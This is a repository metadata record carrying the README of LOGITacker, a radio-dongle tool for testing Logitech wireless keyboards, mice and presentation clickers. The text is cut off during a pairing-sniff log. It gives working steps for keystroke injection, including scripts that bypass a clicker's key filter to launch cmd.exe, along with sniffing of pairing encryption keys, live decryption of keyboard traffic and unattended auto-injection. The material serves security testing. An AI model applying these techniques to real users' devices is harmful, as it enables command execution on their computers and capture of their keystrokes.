{"id":13456835,"url":"https://github.com/RoganDawes/LOGITacker","last_synced_at":"2025-03-24T11:31:32.116Z","repository":{"id":40341260,"uuid":"171555091","full_name":"RoganDawes/LOGITacker","owner":"RoganDawes","description":"Enumerate and test Logitech wireless input devices for vulnerabilities with a nRF52840 radio dongle.","archived":false,"fork":false,"pushed_at":"2024-01-02T07:32:23.000Z","size":31446,"stargazers_count":695,"open_issues_count":36,"forks_count":120,"subscribers_count":53,"default_branch":"master","last_synced_at":"2025-03-20T22:59:51.942Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RoganDawes.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-02-19T21:46:06.000Z","updated_at":"2025-03-19T11:49:41.000Z","dependencies_parsed_at":"2024-05-31T09:07:04.075Z","dependency_job_id":"b160199a-7729-42cc-b1c2-c499dd9c1dc7","html_url":"https://github.com/RoganDawes/LOGITacker","commit_stats":null,"previous_names":["mame82/logitacker"],"tags_count":9,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RoganDawes%2FLOGITacker","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RoganDawes%2FLOGITacker/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RoganDawes%2FLOGITacker/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RoganDawes%2FLOGITacker/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RoganDawes","download_url":"https://codeload.github.com/RoganDawes/LOGITacker/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245260900,"owners_count":20586496,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-31T08:01:28.626Z","updated_at":"2025-03-24T11:31:31.436Z","avatar_url":"https://github.com/RoganDawes.png","language":"C","funding_links":[],"categories":["C"],"sub_categories":[],"readme":"# LOGITacker\n\n**README is still under construction**\n\nLOGITacker is a hardware tool to enumerate and test vulnerabilities of Logitech Wireless Input devices via RF.\nIn contrast to available tooling, it is designed as stand-alone tool. This means not only the low level RF part, \nbut also the application part is running on dedicated hardware, which could provides Command Line Interface (CLI)\nvia USB serial connection. \n\nKeeping hardware from other vendors (not Logitech) out of scope, allowed further optimizations and improvements for\nlow level stuff like RF device discovery.\n\nAdditionally support for the following boards was addded:\n- Nordic nRF52840 Dongle (pca10059)\n- MakerDiary MDK Dongle\n- MakerDiary MDK\n- April Brother Dongle\n\nLOGITacker covers the following Logitech vulnerabilities:\n\n- MouseJack (plain injection)\n- forced pairing\n- CVE-2019-13052 (AES key sniffing from pairing)\n- CVE-2019-13054 (injection with keys dumped via USB from presentation clickers)\n- CVE-2019-13055 (injection with keys dumped via USB from Unifying devices)\n\nLOGITacker does currently not cover the following Logitech:\n\n- KeyJack\n- CVE-2019-13053 (Injection without key knowledge, for receivers patched against KeyJack)\n\n*Note: KeyJack and CVE-2019-13053 are covered by mjackit*\n\nLOGITacker can also be used as Hardware Implant (see **USBsamurai**'s Tutorial https://medium.com/@LucaBongiorni/usbsamurai-for-dummies-4bd47abf8f87 )\n\n# 1 feature summary\n\n- Discovery of Logitech devices on air (optimized pseudo promiscuous mode)\n- Device management (store/delete devices from/to flash, auto re-load parameters - like link encryption key - from flash\n when a stored device is discovered again)\n- Passive Enumeration of discovered devices (sniffing, automatic update of device capabilities based on received RF frames)\n- Active Enumeration of discovered devices (test receiver for additional valid device addresses, test for plain keystroke\ninjection vulnerability)\n- Injection (Inject keystrokes into vulnerable devices, inject encrypted for devices with known key, bypass alpha \ncharacter filter of receivers for newer devices - like R500 presentation clicker)\n- Scripting (create/store/delete injections scripts on internal flash, auto load a script on boot, auto inject a script\non device discovery, support for DE and US keyboard layout)\n- CLI (integrated help, tab completion, inline help)  \n- Sniff pairing (AES link encryption keys get stored to flash, encrypted injection and live decryption of keyboard traffic\ngets possible)\n- Device Pairing / forced pairing: a virtual device could be paired to a Unifying dongle in pairing mode or to an \narbitrary RF address (in order to test for the forced pairing vulnerability presented by Marc Newlin in 2016) \n- Device management on flash: Discovered devices could be stored/deleted to/from flash persistently. This comes handy if \na device has an AES link encryption key associated. If the dongle is power-cycled and the respective device is discovered \nagain, the associated data (including the AES key) is restored from flash.\n- Live decryption: In passive enumeration mode, encrypted keyboard RF frames are automatically decrypted if the link\nEncryption key is known (could be added manually or obtained from sniffed pairing). This could be combined nicely with \nUSB pass-thorugh modes.\n- *experimental* covert channel for air-gap bridging with \"keystroke injectable\" client agent to deploy the channel\nfor a Windows host with Logitech receiver (demo with receiver implanted into USB cable: https://youtu.be/79SogcYbpNA) \n- usable for pure USB keystroke injection (RubberDucky fashion), programming features are still usable\n- USB pass-through: An USB serial based CLI is not the best choice, when it comes to processing of raw or decrypted RF\ndata. To circumvent this, LOGITacker supports the following pass-through modes:\n    - USB keyboard pass-through: If enabled, received RF keyboard frames are forwarded to LOGITacker's USB keyboard \n    interface. Key presses of the currently sniffed wireless keyboard are ultimately mirrored to the host which has \n    LOGITacker connected. For encrypted keyboards, the decrypted data is forwarded (in case the AES key is known)\n    - USB mouse  pass-through: Same as keyboard pass-through, but for mouse reports.\n    - RAW pass-through: Beside the USB serial, USB mouse and USB keyboard interface, LOGITacker provides a raw HID \n    interface. Passing keyboard reports directly via USB isn't always a good idea (f.e. if you sniff a keyboard and\n    the user presses ALT+F4). In order to allow further processing raw incoming data could be forwarded to the USB host, \n    using the raw interface (data format includes: LOGITacker working mode, channel, RSSI, device address, raw payload). \n- Automation / stand alone use: Beside devices data and scripts, several options could be stored persistently to flash. \nThose option allow to control LOGITacker's behavior at boot time. An **example set of persistent options, which could be\nused for headless auto-injection** (LOGITacker could be power supplied from a battery) would look like this:\n    - boot in discovery mode (detect devices on air)\n    - if a device is discovered, automatically enter injection mode\n    - in injection mode, load a stored default script and execute the script with default language layout\n    - if the injection succeeded, return to discovery mode\n    - enter injection mode not more than 5-times per discovered device\n    \nThere are still many ToDo's. The whole project is in **experimental state**.    \n\n# 2 Installation\n\n## 2.1 Nordic nRF52840 Dongle (pca10059)\n\n`nRF Connect` software by Nordic provides a `Programmer` app, which could be used to flash the firmware from this repository\nto a Nordic nRF52840 dongle. After flashing the firmware, the dongle provides 4 new interfaces (USB serial, USB mouse, \nUSB keyboard and USB HID raw). The serial interface could be accessed using `PuTTY` or `screen` on Linux.\n\nReference: \"Terminal Settings\" section of nRF5 SDK documentation - https://infocenter.nordicsemi.com/topic/com.nordic.infocenter.sdk5.v15.0.0/lib_cli.html#lib_cli_terminal_settings\n\nTo put the dongle into programming mode (bootloader) push the button labeled `RESET`. The red LED starts to \n\"softblink\" in red.\n\nThe proper file to flash with the Programmer app is `build/logitacker_pca10059.hex`.\n\n## 2.2 MakerDiary MDK Dongle (pca10059)\n\n`nRF Connect` software by Nordic provides a `Programmer` app, which could be used to flash the firmware from this repository\nto a Nordic nRF52840 dongle. After flashing the firmware, the dongle provides 4 new interfaces (USB serial, USB mouse, \nUSB keyboard and USB HID raw). The serial interface could be accessed using `PuTTY` or `screen` on Linux.\n\nReference: \"Terminal Settings\" section of nRF5 SDK documentation - https://infocenter.nordicsemi.com/topic/com.nordic.infocenter.sdk5.v15.0.0/lib_cli.html#lib_cli_terminal_settings\n\nTo put the dongle into programming mode (bootloader) follow these steps:\n- disconnect the dongle from the host\n- press and hold the button of the dongle\n- re-connect the dongle to the host without releasing the button\n- the red LED of the dongle should \"softblink\" to indicate bootloader mode\n\nThe proper file to flash with the Programmer app is `build/logitacker_mdk_dongle.hex`.\n\n## 2.3 MakerDiary MDK\n\nThanks to DAPLink support flashing this board is really easy:\n\n1) Connect the board to the host\n2) Push the button labeled \"IF BOOT / RST\"\n3) A mass storage with label \"DAPLINK\" should be detected and mounted to the host.\n4) Copy the `build/logitacker_mdk.hex` file to the DAPLINK volume.\n5) Wait till the green LED stops flashing, and the \"DAPLINK\" volume is re-mounted.\n6) Push the \"IF BOOT / RST\" button again, in order to boot the LOGITacker firmware.\n\n## 2.4 April Brother nRF52840 Dongle\n\nThe April Brother dongle provides a removable drive, which accepts uf2 file to program the dongle.\n\nTo program the dongle follow these steps:\n- disconnect the dongle from the host\n- double-click button on the dongle (through the tiny hole)\n- copy logitacker_apr-dongle.uf2 to the removable drive 'NRF52BOOT'\n- the dongle will restart\n- remove the dongle from host\n- reinsert dongle to host\n\nThe proper file to flash with the Programmer app is `build/logitacker_aprdongle.uf2`.\n\nAfter flashing the firmware, the dongle provides 4 new interfaces (USB serial, USB mouse,\nUSB keyboard and USB HID raw). The serial interface could be accessed using `PuTTY` or `screen` on Linux.\n\nReference: \"Terminal Settings\" section of nRF5 SDK documentation - https://infocenter.nordicsemi.com/topic/com.nordic.infocenter.sdk\n\n### 2.4.1 Remark on LED issues of aprbrother dongle \n\nThe aprbrother dongle has LED issues, which are not caused by LOGITacker. See here for reference: https://github.com/AprilBrother/ab-hardware/issues/1\n\n### 2.4.2 Remark on bootloader\n\nOnce LOGITacker has been flashed, double-tapping the hardware button does not start the bootloader anymore (UF2 flash mode).\n\n1) In order to get back to the bootloader, unplug the dongle\n2) Press and hold the hardware button (use something which fits the small hole)\n3) Re-plug the dongle with the button still pressed\n4) The blue LED should \"soft blink\", this indicates that the dongle is in bootloader mode again\n5) Copy the intended UF2 firmware image to the volume named 'NRF52BOOT' to flash a new firmware \n\n# 3 Basic usage concepts\n\nLOGITacker exposes four virtual USB devices:\n\n- USB CDC ACM (serial port) - this port has a console connected and is used for CLI interaction\n- USB mouse - used to optionally forward mouse reports (captured from RF) to the host \n- USB keyboard - used to optionally forward keyboard reports (captured from RF, decrypted if applicable) to the host \n- USB HID raw - used to optionally forward raw RF frames for further processing (usage as additional control interface planned) \n\nLOGITacker provides an interactive CLI interface which could be accessed using the USB CDC ACM serial port.\n\nFor details, see \"Terminal Settings\" section of nRF5 SDK documentation - https://infocenter.nordicsemi.com/topic/com.nordic.infocenter.sdk5.v15.0.0/lib_cli.html#lib_cli_terminal_settings\n\nIn addition to PuTTY, the terminal muxer `screen` could be used as an alternative, like this `screen /dev/ttyACM0 115200`\n(/dev/ttyACM0 has to be replaced with the proper device file, representing LOGITacker's USB serial interface).\n**In contrast to PuTTY, the screen tool seems not to support traversing `BACKSPACE` to `CTRL + H`. Because of this `CTRL + H`\nhas to be pressed to get BACKSPACE functionality** \n\n*Note: Makerdiary MDK exposes two USB serial ports (one belonging to CMSIS-DAP). Be sure to connect to the correct\nport, which runs the CLI. The other port only outputs log messages*\n\n## 3.1 LOGITacker's modes of operation\n\n- **discover**: Used to find Logitech wireless devices on air aka. pseudo-promiscuous mode (default mode)\n- **passive-enum**: Receives all RX traffic of the selected device address (optained in discover mode or added manually).\nThis is basically sniffing, but device information is updated based on received frames (f.e. if plain keyboard reports\nare received, the device is flagged to allow plain keystroke injection)\n- **active-enum**: Actively transmits frames for a discovered device address, in order to test if plain keystroke injection\nis possible (no false positives, but detection doesn't work for devices like presentation clickers). Additionally \nactive-enumeration \"talks\" to the receiver of a discovered device to find out other accessible RF addresses. This means\nif a mouse is discovered, active-enum could possibly find an input RF address for a keyboard connected to the same \nreceiver. If this keyboard address is vulnerable to plain injection, this would be detected, too (even if the actual \nkeyboard is not in range).\nin range.\n- **inject**: This mode is used to inject keystrokes to a Logitech receiver for a given device address. If the respective \ndevice is stored along with a link encryption key (obtained by sniffing of pairing or manually added), keystrokes are \ninjected with proper encryption. If no key is stored for the device or the device supports plain keys, keystrokes are\ninjected unencrypted.\n- **script**: Not an actual mode, but a subset of commands used to edit, load and store scripts used in injection mode.\n- **pair**: This mode has two submodes:\n    - `pair sniff`: used to sniff device pairings (CVE-2019-13052)\n    - `pair device`: used to pair a new device to a receiver in pairing mode (or for a dedicated RF address if the \n    respective receiver is vulnerable to \"forced pairing\")\n    \n## 3.2 Distinguish between data is stored in LOGITacker's RAM (session data) and data stored on flash (persistent)\n\n- **devices**: Discovered devices are stored in RAM only. They could be persistently stored to flash with the `devices storage save \u003caddress\u003e`\ncommand and restored with `devices storage load \u003caddress\u003e` command. Stored devices could be listed with `devices storage list`.\nStoring devices comes in handy, if the device data has a link encryption key associated. Devices for which the pairing \nhas been sniffed, are automatically stored to flash by default. If a device is discovered on air the first time and \nassociated device data is stored on flash, it gets reloaded automatically. This means once a encryption key for a device\nis obtained, it always is present and ready to use, even if LOGITacker has been power-cycled.\n- **scripts**: Only a single (injection) script could be active at a given time. Of course scripts could be stored to\nflash with `script store \"scriptname\"` and restored with `script load \"scriptname\"`. Stored scripts could be listed with\n`script list`. To show the content of the currently active the following command is used: `script show`\n- **options**: Options drive the behavior of LOGITacker. If done right, they could be used to fully automate it. Anyways,\nchanges to options NEVER ARE PERSISTENT, unless the `options store` command is run. Although being less convenient, this\nis to reduce flash write\u0026erase cycles (flash could not be written endlessly). Keep this in mind: options always have to\nbe stored manually, in order to persist a reboot of LOGITacker.\n\nIn case, saving of scripts or options to flash fails with\n`LOGITACKER_SCRIPT_ENGINE: failed to write first task for script storage` or `\u003cwarning\u003e LOGITACKER_OPTIONS: failed to find Flash Data Storage record for global options: 2` \nthe flash store is corrupted and has to be rewritten. \nIssue `erase_flash` and reconnect the dongle afterwards. \n\n## 3.3 Scripting\n\nEntering `script` to the CLI shows the sub-commands of the script command group. There are two kinds of commands:\n\nCommands to edit the currently active script and commands to manage scripts on flash storage.\n\n```\nLOGITacker (discover) $ script \nscript - scripting for injection\nOptions:\n  -h, --help  :Show command help.\nSubcommands:\n  clear      :clear current script (injection tasks)\n  undo       :delete last command from script (last injection task)\n  show       :show listing of current script\n  string     :append 'string' command to script, which types out the text given as parameter\n  altstring  :append 'altstring' command to script, which types out the text using NUMPAD\n  press      :append 'press' command to script, which creates a key combination from the given parameters\n  delay      :append 'delay' command to script, delays script execution by the amount of milliseconds given as parameter\n  store      :store script to flash\n  load       :load script from flash\n  list       :list scripts stored on flash\n  remove     :delete script from flash\n```\n\nThe keyboard language layout to use (at time of this writing US and DE are supported), could be selected with\n`options inject language de` or `options inject language us`. Keep in mind, that in order to persist the language \nsetting `options store` has to be issued.\n\nThe commands directly usable within a scripts are:\n\n- **string**: Presses keys which should output the given string (according to selected language layout)\n- **altstring**: Instead of pressing the key for the respective character, a ALT-NUMPAD combination is pressed, which\nshould produce the respective character. In contrast to the `string` command, this is language layout independent.\nThe shortcoming: This only works on Microsoft Operating Systems, but not on all input dialogs.\n- **delay**: This command delays script execution by the given amount of milliseconds.\n- **press**: This command interprets the given arguments as key combination and tries to create a keyboard report which\npresses the given keys simultaneously. Key-arguments usable in press command are listed below:\n\n```\nRETURN, ESCAPE, TABULATOR, CAPS, PRINT, PRINTSCREEN, SCROLL, BREAK, INS, DEL, RIGHTARROW, LEFTARROW, DOWNARROW, UPARROW, \nNUM, APP, MENU, CTRL, CONTROL, SHIFT, ALT, GUI, COMMAND, WINDOWS, , NONE, ERROR_ROLLOVER, POST_FAIL, ERROR_UNDEFINED, \nA, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, \nENTER, ESC, BACKSPACE, TAB, SPACE, MINUS, EQUAL, LEFTBRACE, RIGHTBRACE, BACKSLASH, HASHTILDE, SEMICOLON, APOSTROPHE, \nGRAVE, COMMA, DOT, SLASH, CAPSLOCK, F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, SYSRQ, SCROLLLOCK, PAUSE, INSERT,\nHOME, PAGEUP, DELETE, END, PAGEDOWN, RIGHT, LEFT, DOWN, UP, NUMLOCK, KPSLASH, KPASTERISK, KPMINUS, KPPLUS, KPENTER, KP1, \nKP2, KP3, KP4, KP5, KP6, KP7, KP8, KP9, KP0, KPDOT, 102ND, COMPOSE, POWER, KPEQUAL, F13, F14, F15, F16, F17, F18, F19, \nF20, F21, F22, F23, F24, OPEN, HELP, PROPS, FRONT, STOP, AGAIN, UNDO, CUT, COPY, PASTE, FIND, MUTE, VOLUMEUP, VOLUMEDOWN, \nKPCOMMA, RO, KATAKANAHIRAGANA, YEN, HENKAN, MUHENKAN, KPJPCOMMA, HANGEUL, HANJA, KATAKANA, HIRAGANA, ZENKAKUHANKAKU, \nKPLEFTPARENTHESE, KPRIGHTPARENTHESE, LEFTCTRL, LEFTSHIFT, LEFTALT, LEFTMETA, RIGHTCTRL, RIGHTSHIFT, RIGHTALT, RIGHTMETA\n```\n\nHere is a usage example, showing how to bring up a script which utilizes ALT+NUMPAD input, in order to bypass the key \nblacklisting of a Logitech R500 (does not allow keys `A` to `Z` and `GUI + r`) on a Windows 7 host:\n\n```\nLOGITacker (discover) $ script press NUMLOCK\nLOGITacker (discover) $ script press GUI F1\nLOGITacker (discover) $ script delay 500\nLOGITacker (discover) $ script altstring \"cmd.exe\"\nLOGITacker (discover) $ script press CTRL A\nLOGITacker (discover) $ script press CTRL X\nLOGITacker (discover) $ script press ALT F4\nLOGITacker (discover) $ script delay 200\nLOGITacker (discover) $ script press GUI\nLOGITacker (discover) $ script delay 200\nLOGITacker (discover) $ script press CTRL V\nLOGITacker (discover) $ script press RETURN\nLOGITacker (discover) $ script delay 500\nLOGITacker (discover) $ script altstring \"calc.exe\"\nLOGITacker (discover) $ script press RETURN\n```\n\nTo list the script run `script show`\n\n```\nLOGITacker (discover) $ script show\nscript start\n0001: press NUMLOCK\n0002: press GUI F1\n0003: delay 500\n0004: altstring cmd.exe\n0005: press CTRL A\n0006: press CTRL X\n0007: press ALT F4\n0008: delay 200\n0009: press GUI\n0010: delay 200\n0011: press CTRL V\n0012: press RETURN\n0013: delay 500\n0014: altstring calc.exe\n0015: press RETURN\nscript end\n```\n\nBelow some notes on the script, as the approach applies in other scenarios, too :\n\nAs `GUI + r` is filtered by R500 (or results in `GUI` without the pressed `r`) only the start dialog could be opened on\nthe targeted Windows 7 host (not the run dialog). The start dialog accepts no characters created based on `ALT+NUMPAD`\ncombination (on Windows 10 it does so). In order to compensate for this, a help dialog is opened using `GUI+F1`. This\ndialog allows input based on NUMPAD combos, thus `cmd.exe` could be typed out using the `altstring` command. In order\nto use NUMPAD based key combinations, of course, NUMLOCK has to be turned on. This is why the first command of the script\npresses the NUMLOCK key. Even if NUMLOCK was already enabled, a second run of the whole script would succeed.\nThe next commands:\n\n- `CTRL+A` marks the whole \"cmd.exe\" string\n- `CTRL+X` cuts the \"cmd.exe\" string (clipboard)\n- `ALT+F4` close the opened help dialog\n- `GUI` opens the start dialog \n- `CTRL+V` pastes the \"cmd.exe\" string from clipboard (as it can't be entered it directly using )\n- `RETURN` execute cmd.exe\n- the \"calc.exe\" string is, again, entered using `ALT+NUMPAD` combinations, as the cmd.exe console supports this\n- `RETURN` execute calc.exe\n\nThe script could now be stored to flash, for later use with `script store \"calc_win7\"`. Stored scripts could be checked \nlike this:\n\n```\nLOGITacker (discover) $ script list             \n0001 script 'calc_win7'\n```\n\nNext a simplified version for Windows 10 could be created and stored:\n\nFirst current script has to be cleared with `script clear`. Afterwards, a new script could be created.\n\n```\nLOGITacker (discover) $ script clear\n\nLOGITacker (discover) $ script press NUMLOCK\nLOGITacker (discover) $ script press GUI    \nLOGITacker (discover) $ script delay 200\nLOGITacker (discover) $ script altstring \"cmd.exe\"\nLOGITacker (discover) $ script press RETURN\nLOGITacker (discover) $ script delay 500\nLOGITacker (discover) $ script altstring \"calc.exe\"\nLOGITacker (discover) $ script press RETURN\n\nLOGITacker (discover) $ script show\nscript start\n0001: press NUMLOCK\n0002: press GUI\n0003: delay 200\n0004: altstring cmd.exe\n0005: press RETURN\n0006: delay 500\n0007: altstring calc.exe\n0008: press RETURN\nscript end\n```\n\nAgain, the script should be stored with `script store \"calc_win10\"`. The command `script list` should show bot scripts, \nnow.\n\n```\nLOGITacker (discover) $ script list\n0001 script 'calc_win7'\n0002 script 'calc_win10'\n```\n\nThe Windows 7 script could be re-loaded using `script load` like shown below:\n\n```\nLOGITacker (discover) $ script load calc_win7 \n... snip...\n\nLOGITacker (discover) $ script show \nscript start\n0001: press NUMLOCK\n0002: press GUI F1\n0003: delay 500\n0004: altstring cmd.exe\n0005: press CTRL A\n0006: press CTRL X\n0007: press ALT F4\n0008: delay 200\n0009: press GUI\n0010: delay 200\n0011: press CTRL V\n0012: press RETURN\n0013: delay 500\n0014: altstring calc.exe\n0015: press RETURN\nscript end\n```\n\n*Note: all commands shown so far, support tab completition.*\n\nIn order to load, for example, the Windows 7 script on every boot of LOGITacker, the respective option has to be changed\nand stored persistently, like this:\n\n``` \nLOGITacker (discover) $ options inject default-script \"calc_win7\"\nLOGITacker (discover) $ options store \n\n... check result ...\n\nLOGITacker (discover) $ options show \nstats\n        boot count                              : 0\n\ndiscover mode options\n        action after RF address dicovery        : continue in discover mode after a device address has been discovered\n        pass RF frames to USB raw HID           : off\n        auto store plain injectable devices     : on\n\npassive-enumeration mode options\n        pass key reports to USB keyboard        : off\n        pass mouse reports to USB mouse         : off\n        pass all RF frames to USB raw HID       : off\n\npair-sniff mode options\n        action after sniffed pairing            : start passive enumeration mode after successfully sniffed pairing\n        auto store devices from sniffed pairing : on\n        pass RF frames to USB raw HID           : off\n\ninject mode options\n        keyboard language layout                : de\n        default script                          : 'calc_win7'\n        maximum auto-injects per device         : 5\n        action after successful injection       : stay in injection mode after successful injection\n        action after failed injection           : stay in injection mode after failed injection\n``` \n \nAfter re-plugging LOGITacker and opening the CLI again (power cycle / reboot), the \"calc_win7\" script should already be \nloaded. This could be checked with `script show`.\n\nFor Logitech devices vulnerable to plain keystroke injection (see MouseJack research for details), the script could \ndirectly be used. For encrypted devices, like Logitech R500 or Logitech SPOTLIGHT presentation clickers, the new script \ncan not be injected, without knowing the encryption key. This is issue is covered in the next section.\n\n## 3.4 Encrypted injection\n\nIn order to execute the example scripts agains an encrypted Logitech device, the decryption key has to be obtained.\nThere are two class of vulnerabilities, allow stealing those keys:\n\n1) Sniff the pairing (or re-pairing) of the device to obtain the key (CVE-2019-13052)\n2) USB based key extraction from Logitech receivers using a Texas Instruments chip (CVE-2019-13054, CVE-2019-13055)\n\nAs the details for CVE-2019-13054 / CVE-2019-13055 aren't released, yet, the key should be obtained using by sniffing\nthe device pairing. The scripts of the last section have been built to target wireless presentation clickers, like R500\nor SPOTLIGHT. When those devices ship, they are already paired to the receiver. This is less of an issue, as an \nundocumented pairing mode could be triggered, anyways.\n\nThe following video shows the concept: https://youtu.be/MauTMsyphUE \n\nThe pre-release version of munifying could be found here: https://github.com/mame82/munifying_pre_release\n\nThe only thing which has to be done to capture a pairing with LOGITacker and derive the link encryption key according to\nCVE-2019-13052, is to issue the following command: `pair sniff run`\n\nLOGITacker starts flashing the red LED. Once a receiver - which is set to pairing mode - is in range, the LED starts \nflashing blue. If a pairing is captured successfully, the device and associated key are not only stored in LOGITacker's\nRAM, but they are automatically stored to flash.\n\nIn order to unpair and re-pair the device to the receiver, the `munifying` tool is used. Re-pairing of the device is\ndone, while LOGITacker is running in `pair sniff` mode.\n\nThe command `./munifying unpair` lists devices currently paired to the receiver and ask for a device to unpair.\nTo set the receiver back to pairing mode and re-pair the device, munifying has to be called with `./munifying pair`. \n\nBelow is the example output of `munifying` for unpairing a R500 presenation clicker from its receiver and initiating \npairing mode again.\n\n```\nroot@who-knows:~# ./munifying unpair\nFound CU0016 Dongle for R500 presentation clicker\nUsing dongle USB config: Configuration 1\nResetting dongle in order to release it from kernel (connected devices won't be usable)\nHID++ interface: vid=046d,pid=c540,bus=3,addr=56,config=1,if=2,alt=0\nHID++ interface IN endpoint: ep #3 IN (address 0x83) interrupt - undefined usage [32 bytes]\nDongle Info\n-------------------------------------\n\tFirmware (maj.minor.build):  RQR45.00.B0002\n\tBootloader (maj.minor):      02.09\n\tWPID:                        8808\n\t(likely) protocol:           0x04\n\tSerial:                      01:89:97:e6\n\tConnected devices:           1\n\nDevice Info for device index index 0\n-------------------------------------\n\tDestination ID:              0x23\n\tDefault report interval:     8ms\n\tWPID:                        407a\n\tDevice type:                 0x04 (PRESENTER)\n\tSerial:                      a7:a4:a0:69\n\tReport types:                0000000e (Report types: keyboard mouse multimedia )\n\tCapabilities:                01 (not Unifying compatible, link encryption enabled)\n\tUsability Info:              0x0f (reserved)\n\tName:                        Logi R500\n\tRF address:                  01:89:97:e6:23\n\tKeyData:                     **pre-release REDACTED**\n\tKey:                         **pre-release REDACTED**\n\nDevices connected to target dongle, select device to unpair...\n1) 01:89:97:e6:23 PRESENTER 'Logi R500'\nchoose device to unpair: 1\nRemove device index 0 'Logi R500' from paired devices\nUSB Report type: HID++ short message, DeviceID: 0x01, SubID: DEVICE DISCONNECTION, Params: 0x02 0x00 0x00 0x00\n\tDevice disconnected: true\nUSB Report type: DJ Report short, DeviceID: 0x01, DJ Type: NOTIFICATION DEVICE UNPAIRED, Params: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\nUSB Report type: HID++ short message, DeviceID: 0xff, SubID: SET REGISTER SHORT, Params: 0xb2 0x00 0x00 0x00\n\tRegister address: REGISTER PAIRING\n\tValue: 0x00 0x00 0x00\nClosing Logitech Receiver dongle...\n\nroot@who-knows:~# ./munifying pair\nFound CU0016 Dongle for R500 presentation clicker\nUsing dongle USB config: Configuration 1\nResetting dongle in order to release it from kernel (connected devices won't be usable)\nHID++ interface: vid=046d,pid=c540,bus=3,addr=56,config=1,if=2,alt=0\nHID++ interface IN endpoint: ep #3 IN (address 0x83) interrupt - undefined usage [32 bytes]\nEnable pairing for 60 seconds\nUSB Report type: HID++ short message, DeviceID: 0xff, SubID: SET REGISTER SHORT, Params: 0xb2 0x00 0x00 0x00\n\tRegister address: REGISTER PAIRING\n\tValue: 0x00 0x00 0x00\n... Enable pairing response (should be enabled)\n\nPrinting follow up reports ...\n```\n\nOnce the receiver is in pairing mode, the red-flashing LED of LOGITacker should turn to a blue-flashing LED.\nFor Unifying devices, the device which should be paired has to be turned off and on again. For presentation clickers\nR500 / SPOTLIGHT the two buttons used to put the clicker into Bluetooth mode have to pressed and hold.\n\nIf nothing has gone wrong, LOGITacker has captured the device address and encryption key. Afterwards, LOGITacker\nchanges back from \"pair sniff\" mode to \"passive-enum\" mode (default behavior). \n\nHere's some example output of a successful key capture:\n\n```\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 44 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 74 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 5 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 5 \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 5\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  D6 1F 01 01 89 97 E6 24|.......$\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  08 88 08 04 01 04 01 00|........\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  00 00 00 00 00 3D      |.....=  \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF assigned 01:89:97:E6:24 as new sniffing address\n...snip...\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:                         |        \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 5\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  00 40 03 01 BC         |.@...   \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 5\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  00 0F 06 02 03 F8 74 A7|......t.\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF:  A4 2F                  |./      \n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device name: Logi R500\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device RF address: 01:89:97:E6:25\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device serial: A7:A4:A0:69\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device WPID: 0x407A\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device report types: 